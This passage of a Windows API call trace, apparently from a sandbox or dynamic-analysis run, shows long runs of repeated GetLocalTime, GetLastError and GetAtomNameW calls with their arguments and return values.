lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.116] GetLastError () returned 0x0 [0047.116] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.117] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.117] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.118] GetLastError () returned 0x0 [0047.118] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.119] GetLastError () returned 0x0 [0047.119] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.119] GetLastError () returned 0x0 [0047.119] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.119] GetLastError () returned 0x0 [0047.119] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.119] GetLastError () returned 0x0 [0047.119] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x31b)) [0047.119] GetLastError () returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.919] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0047.920] 